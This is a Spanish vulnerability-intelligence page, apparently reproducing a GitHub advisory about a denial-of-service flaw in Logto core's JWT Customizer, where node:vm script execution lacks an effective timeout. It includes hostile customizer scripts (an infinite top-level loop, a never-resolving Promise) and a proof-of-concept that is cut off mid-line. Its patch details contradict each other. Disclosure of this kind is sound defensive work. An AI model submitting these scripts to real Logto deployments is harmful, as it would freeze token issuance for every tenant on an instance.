llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · @logto/core

GHSA-5WR4-942J-H43M

JWT Customizer: la ejecución con node:vm no tiene un timeout efectivo, lo que permite una DoS de todo el proceso o de todo el tenant

Sin parche publicado
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición81 dDesde la divulgación, 1 sept 2026, 2:57 a. m.
Detección78 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (alta) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. No hay versión corregida: aplique mitigaciones.
Seguimiento de cerca: yo sé de mirar de cerca.Esto amerita una regla de detección, por si acaso.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
1 sept 26
19 nov 26
21 nov 26
1 sept 26
21 sept 26
11 oct 26
1 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-5WR4-942J-H43M divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

VULN-005 — El timeout del VM local de JWT Customizer es ineficaz, lo que permite DoS dentro del tenant y entre tenants

## Estado
CONFIRMADO

## Clasificación
- Vulnerabilidad: Consumo de recursos no controlado / Falta de aplicación de timeout en la ejecución de scripts no confiables
- CWE: CWE-400 — Consumo de recursos no controlado (contribuyente: CWE-834 — Iteración excesiva; CWE-1088 no aplicable)
- Severidad: Alta
- CVSS (estimado): 8.2 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

## Ubicación
- Archivo: `packages/core/src/utils/local-vm/index.ts` (`runScriptFunctionInLocalVm`, líneas 12-41)
- Línea 20: primera llamada a `runInNewContext(script + `;${functionName};`, globalContext)` — compila el script y ejecuta todas sus sentencias de nivel superior, sin ninguna opción `timeout`.
- Líneas 33-38: segunda llamada a `runInNewContext('(async () => customFunction(payload))();', ..., { timeout: 3000 })` — el `timeout` solo limita la evaluación *síncrona* de esa sentencia (que devuelve una `Promise` casi de inmediato); no limita la ejecución asíncrona real de `customFunction(payload)` que ocurre después.
- Archivo: `packages/core/src/oidc/extra-token-claims.ts` (línea 337) y `packages/core/src/routes/logto-config/jwt-customizer.ts` (línea 244) — ambos hacen `await` del resultado sin ningún timeout externo adicional.
- Función / Ruta / Endpoint: emisión de tokens OIDC (`getExtraTokenClaimsForJwtCustomization`, en cada concesión de access token o client-credentials una vez configurado un JWT customizer) y `POST /configs/jwt-customizer/test` de la Management API.

Código vulnerable

// packages/core/src/utils/local-vm/index.ts:12-41
export const runScriptFunctionInLocalVm = async (
  script: string,
  functionName: string,
  payload: unknown
) => {
  const globalContext = Object.freeze({
    fetch: async (...args: Parameters<typeof fetch>) => fetch(...args),
  });
  // (1) NO timeout option here -- any top-level busy loop in `script` blocks
  //     the single-threaded Node event loop for as long as it runs.
  const customFunction: unknown = runInNewContext(script + `;${functionName};`, globalContext);

  if (typeof customFunction !== 'function') {
    throw new TypeError(`The script does not have a function named \\`${functionName}\\``);
  }

  // (2) `timeout: 3000` only bounds the synchronous statement
  //     `(async () => customFunction(payload))();`, i.e. the creation of the
  //     Promise -- NOT the asynchronous continuation of `customFunction`
  //     (e.g. an unresolved `fetch()` or an intentionally-never-resolving Promise).
  const result: unknown = await runInNewContext(
    '(async () => customFunction(payload))();',
    Object.freeze({ customFunction, payload }),
    { timeout: 3000 }
  );

  return result;
};

## Por qué es vulnerable
El comentario del código afirma *"Limit the execution time to 3 seconds, throws error if the script takes too long to execute"*, pero esta garantía no se cumple por dos razones independientes, cada una suficiente por sí sola para causar denegación de servicio:

  1. No hay timeout en la llamada de compilación o ejecución de nivel superior. `runInNewContext(script + ';functionName;', globalContext)` se invoca sin un tercer argumento `options`, por lo que la protección `timeout` de `node:vm` no se aplica a esta llamada. Cualquier código que el script coloque *fuera* del cuerpo de la función `getCustomJwtClaims` (por ejemplo, un `while (true) {}` de nivel superior, o un cálculo síncrono grande) se ejecuta de forma síncrona e incondicional, bloqueando el event loop de Node, que es de un solo hilo, durante todo el tiempo que dure. Con un bucle infinito real, el bloqueo es permanente y solo se recupera reiniciando el proceso.
  1. El `timeout: 3000` de la segunda llamada no limita la ejecución real del script. La opción `timeout` de `node:vm` solo limita la parte *síncrona* de la cadena de código ejecutada. La cadena aquí, `(async () => customFunction(payload))();`, es una IIFE que retorna de inmediato con una `Promise` (invocar una función `async` solo ejecuta el código de forma síncrona hasta su primer `await` o `return`). El *cuerpo* de `customFunction`, incluido cualquier `await fetch(...)` a un host lento o no disponible, o un `return new Promise(() => {})` intencionalmente nunca resuelto, se ejecuta como una microtarea o continuación posterior, totalmente fuera de la ventana que vigila la opción `timeout`. Por lo tanto, `await runInNewContext(...)` en el llamador queda colgado durante todo el tiempo que tarde la promesa en resolverse, potencialmente para siempre.

Logto core atiende a múltiples tenants desde una única instancia de proceso de Node.js mediante un `TenantPool` compartido (`packages/core/src/tenants/index.ts`). Además, el script JWT customizer de un tipo de token se ejecuta en cada emisión de ese tipo de token para cada solicitante del tenant, no solo para el autor del script. Por ello, ambos fallos convierten un único script mal configurado o malicioso en una denegación de servicio que va más allá de la sesión del atacante:
- Caso 1 (bucle infinito de nivel superior): congela todo el event loop, es decir, toda la instancia de proceso de Logto core, todos los tenants que atiende y todas las solicitudes en curso, hasta que el proceso se detiene y se reinicia.
- Caso 2 (cuerpo asíncrono que nunca resuelve): cuelga cada solicitud posterior de emisión de tokens de ese tipo en el tenant (todos los usuarios que soliciten un access token o client-credentials de ese tipo), acumulando conexiones y handles abiertos con el tiempo.

## Flujo de datos (fuente -> sumidero)
- Fuente: el campo `script` de un JWT customizer (controlado por el atacante o por el autor), enviado mediante `PUT /configs/jwt-customizer/:tokenTypePath` (persistido y ejecutado en cada emisión de token posterior) o mediante `POST /configs/jwt-customizer/test` (ejecutado de inmediato).
- Ruta: `script` → `JwtCustomizerLibrary.runScriptInLocalVm` → `runScriptFunctionInLocalVm(script, 'getCustomJwtClaims', payload)` → dos llamadas a `runInNewContext`, ninguna de las cuales impone un límite real de tiempo de pared de extremo a extremo sobre el trabajo real del script.
- Sumidero: el event loop compartido de un solo hilo de Node (llamada 1, bloque síncrono de nivel superior) o la expresión `await runInNewContext(...)` dentro de `runScriptFunctionInLocalVm` (llamada 2, bloqueo por promesa sin resolver).
- Sanitización: ninguna. No hay análisis estático del script en busca de bucles o recursión, no hay cuota de CPU basada en worker threads o isolates, y no hay un `Promise.race` externo con un plazo máximo que envuelva toda la llamada a `runScriptFunctionInLocalVm`.

## Escenario de ataque
Caso A — congelamiento completo del proceso:
1. Un principal con permiso para probar JWT customizers invoca `POST /configs/jwt-customizer/test` (o persiste mediante `PUT`) con:
```js
function getCustomJwtClaims(payload) { return {}; }
while (true) {}
```
2. `runInNewContext(script + ';getCustomJwtClaims;', globalContext)` (sin timeout) ejecuta el `while (true) {}` de nivel superior de forma síncrona y nunca retorna.
3. El event loop de la instancia de Logto core queda bloqueado de forma permanente: ninguna otra solicitud HTTP (de ningún tenant alojado en esa instancia de proceso) puede atenderse. El proceso debe reiniciarse forzosamente.

Caso B — emisión de tokens colgada en todo el tenant:
1. El mismo principal persiste en cambio (mediante `PUT /configs/jwt-customizer/:tokenTypePath`):
```js
async function getCustomJwtClaims(payload) {
return new Promise(() => {}); // never resolves
}
```
2. Cada solicitud posterior de cualquier usuario del tenant para obtener un access token o client-credentials de ese tipo activa `getExtraTokenClaimsForJwtCustomization` → `runScriptInLocalVm` → la llamada `await runInNewContext(...)`, que ahora nunca resuelve para esa solicitud.
3. Cada una de esas solicitudes queda colgada indefinidamente (manteniendo abierta su conexión HTTP y los recursos asociados). Repetir la operación produce agotamiento de recursos. La emisión de tokens para ese tipo queda efectivamente rota para todo el tenant hasta que un operador elimine el customizer defectuoso directamente en la base de datos (la propia Management API también quedaría colgada al intentar redeplegar o ejecutar el script).

## Prueba de concepto (reproducción genérica, sin necesidad de aplicación objetivo ni Docker)
```js
const { runInNewContext } = require('node:vm');

// Case A: no timeout guards the compile/top-level-exec call.
const scriptA = `
const stop = Date.now() + 2000; // bounded here only so the PoC terminates
while (Date.now() < stop) {}
function getCustomJwtClaims(payload) { return {}; }
`;
const t0 = Date.now();
runInNewContext(scriptA + ';getCustomJwtClaims;', Object.freeze({ fetch: async () => {} }));
console.log('blocked', Date.now() - t0, 'ms with ZERO timeout enforcement (a real `while(true){}` never returns)');

// Case B: timeout:3000 does not bound the async body.
const scriptB = `function getCustomJwtClaims(payload) { return new Promise(() => {}); }`;
const fn = runInNewContext(scriptB + ';getCustomJwtClaims;', Object.freeze({ fetch: async () => {} }));
const p = runInNewContext('(async () => customFunction(payload))();',
Object.freeze({ customFunction: fn, payload: {} }), { timeout: 3000 });
console.log('runInNewContext returned syn

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
@logto/core≤ 1.42.0
1.42.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npm@logto/core
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/logto-io/logto/security/advisories/GHSA-5wr4-942j-h43m

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.